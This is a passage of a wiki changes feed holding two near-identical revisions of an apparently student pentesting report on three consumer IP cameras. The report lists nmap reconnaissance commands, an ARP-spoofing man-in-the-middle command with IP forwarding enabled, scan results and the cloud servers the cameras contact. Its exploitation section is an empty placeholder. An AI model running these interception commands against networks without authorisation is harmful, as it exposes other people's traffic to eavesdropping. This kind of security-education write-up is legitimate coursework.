		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10321"/>
		<updated>2022-07-13T13:38:56Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
First of all, it is important to state that the ABUS Camera used two IP interfaces for their connection to the different services therefore two IP addresses needed to be investigated. Why and how this camera uses and needs two addresses will be discussed afterwards.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || [[File:ABUS_Port1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Port2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that all ports on both IP Addresses are closed. || [[File:TP_Service.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that two ports (http and http-proxy) are open with the services lighttpd running. This indicates that the Camera hosts a web service. || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that no ports are open and accessible.&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || [[File:ABUS_OS1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_OS2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; No OS Detection available since there are to many OS fingerprints. Same result with aggressive OS Guess. || [[File:TP_OS.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; OS Details: [https://openwrt.org/releases/8.09/notes-8.09 OpenWrt Kamikaze 8.09] || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt; &amp;lt;br&amp;gt; No definite OS Guess, some suggestions.&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || [[File:ABUS_Vuln1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Vuln2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]. || [[File:TP_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;  Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002] || [[File:Blink_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Man in the Middle, Reverse DNS Query and Geo Location ====&lt;br /&gt;
&lt;br /&gt;
* ABUS PPIC32020&lt;br /&gt;
** Smartphone App connects to: &lt;br /&gt;
*** 142.251.39.74&lt;br /&gt;
**** Domain: bud02s39-in-f10.1e100.net.&lt;br /&gt;
**** Located in: Budapest, Ungarn&lt;br /&gt;
*** 35.169.53.92&lt;br /&gt;
**** Domain: ec2-35-169-53-92.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Dallas, Texas, United States &lt;br /&gt;
*** 44.195.176.7&lt;br /&gt;
**** Domain: ec2-44-195-176-7.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Ashburn, Virginia, United States&lt;br /&gt;
** Camera connects to: &lt;br /&gt;
*** 176.34.104.236&lt;br /&gt;
**** Domain: ec2-176-34-104-236.eu-west-1.compute.amazonaws.com&lt;br /&gt;
**** Located in: Dublin, Leinster, Ireland&lt;br /&gt;
*** 239.255.255.250&lt;br /&gt;
**** Multicast Address used by SSDP&lt;br /&gt;
&lt;br /&gt;
==== Behaviour of ABUS PPIC32020 ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located inside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:InsideNetwork.jpg]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located inside the network and wants to connect to the camera, the main data stream stays inside the LAN.&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located outside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:OutsideNetwork.jpg]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located outside the network and wants to connect to the camera, the main data stream gets hosted to an AWS Cloud Server where the App fetches the data.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
Euer part :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10320</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10320"/>
		<updated>2022-07-13T13:38:16Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
First of all, it is important to state that the ABUS Camera used two IP interfaces for their connection to the different services therefore two IP addresses needed to be investigated. Why and how this camera uses and needs two addresses will be discussed afterwards.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || [[File:ABUS_Port1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Port2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that all ports on both IP Addresses are closed. || [[File:TP_Service.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that two ports (http and http-proxy) are open with the services lighttpd running. This indicates that the Camera hosts a web service. || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that no ports are open and accessible.&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || [[File:ABUS_OS1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_OS2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; No OS Detection available since there are to many OS fingerprints. Same result with aggressive OS Guess. || [[File:TP_OS.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; OS Details: [https://openwrt.org/releases/8.09/notes-8.09 OpenWrt Kamikaze 8.09] || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt; &amp;lt;br&amp;gt; No definite OS Guess, some suggestions.&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || [[File:ABUS_Vuln1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Vuln2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]. || [[File:TP_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;  Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002] || [[File:Blink_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Man in the Middle, Reverse DNS Query and Geo Location ====&lt;br /&gt;
&lt;br /&gt;
* ABUS PPIC32020&lt;br /&gt;
** Smartphone App connects to: &lt;br /&gt;
*** 142.251.39.74&lt;br /&gt;
**** Domain: bud02s39-in-f10.1e100.net.&lt;br /&gt;
**** Located in: Budapest, Ungarn&lt;br /&gt;
*** 35.169.53.92&lt;br /&gt;
**** Domain: ec2-35-169-53-92.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Dallas, Texas, United States &lt;br /&gt;
*** 44.195.176.7&lt;br /&gt;
**** Domain: ec2-44-195-176-7.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Ashburn, Virginia, United States&lt;br /&gt;
** Camera connects to: &lt;br /&gt;
*** 176.34.104.236&lt;br /&gt;
**** Domain: ec2-176-34-104-236.eu-west-1.compute.amazonaws.com&lt;br /&gt;
**** Located in: Dublin, Leinster, Ireland&lt;br /&gt;
*** 239.255.255.250&lt;br /&gt;
**** Multicast Address used by SSDP&lt;br /&gt;
&lt;br /&gt;
==== Behaviour of ABUS PPIC32020 ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located inside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:InsideNetwork.jpg]]&lt;br /&gt;
If the smartphone with the app is located inside the network and wants to connect to the camera, the main data stream stays inside the LAN.&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located outside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:OutsideNetwork.jpg]]&lt;br /&gt;
If the smartphone with the app is located outside the network and wants to connect to the camera, the main data stream gets hosted to an AWS Cloud Server where the App fetches the data.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
Euer part :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:OutsideNetwork.jpg&amp;diff=10319</id>
		<title>File:OutsideNetwork.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:OutsideNetwork.jpg&amp;diff=10319"/>
		<updated>2022-07-13T13:35:34Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:InsideNetwork.jpg&amp;diff=10318</id>
		<title>File:InsideNetwork.jpg</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:InsideNetwork.jpg&amp;diff=10318"/>
		<updated>2022-07-13T13:34:41Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TP_Vuln.png&amp;diff=10317</id>
		<title>File:TP Vuln.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TP_Vuln.png&amp;diff=10317"/>
		<updated>2022-07-13T13:09:47Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TP_Service.png&amp;diff=10316</id>
		<title>File:TP Service.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TP_Service.png&amp;diff=10316"/>
		<updated>2022-07-13T13:09:41Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:TP_OS.png&amp;diff=10315</id>
		<title>File:TP OS.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:TP_OS.png&amp;diff=10315"/>
		<updated>2022-07-13T13:09:33Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Blink_Vuln.png&amp;diff=10314</id>
		<title>File:Blink Vuln.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Blink_Vuln.png&amp;diff=10314"/>
		<updated>2022-07-13T13:09:26Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:Blink_OS_Port.png&amp;diff=10313</id>
		<title>File:Blink OS Port.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:Blink_OS_Port.png&amp;diff=10313"/>
		<updated>2022-07-13T13:09:19Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Vuln2.png&amp;diff=10312</id>
		<title>File:ABUS Vuln2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Vuln2.png&amp;diff=10312"/>
		<updated>2022-07-13T13:09:09Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Vuln1.png&amp;diff=10311</id>
		<title>File:ABUS Vuln1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Vuln1.png&amp;diff=10311"/>
		<updated>2022-07-13T13:09:01Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Port2.png&amp;diff=10310</id>
		<title>File:ABUS Port2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Port2.png&amp;diff=10310"/>
		<updated>2022-07-13T13:08:55Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Port1.png&amp;diff=10309</id>
		<title>File:ABUS Port1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_Port1.png&amp;diff=10309"/>
		<updated>2022-07-13T13:08:47Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_OS2.png&amp;diff=10308</id>
		<title>File:ABUS OS2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_OS2.png&amp;diff=10308"/>
		<updated>2022-07-13T13:08:40Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_OS1.png&amp;diff=10307</id>
		<title>File:ABUS OS1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:ABUS_OS1.png&amp;diff=10307"/>
		<updated>2022-07-13T13:08:28Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10306</id>
		<title>IP Cameras Pentesting Report</title>
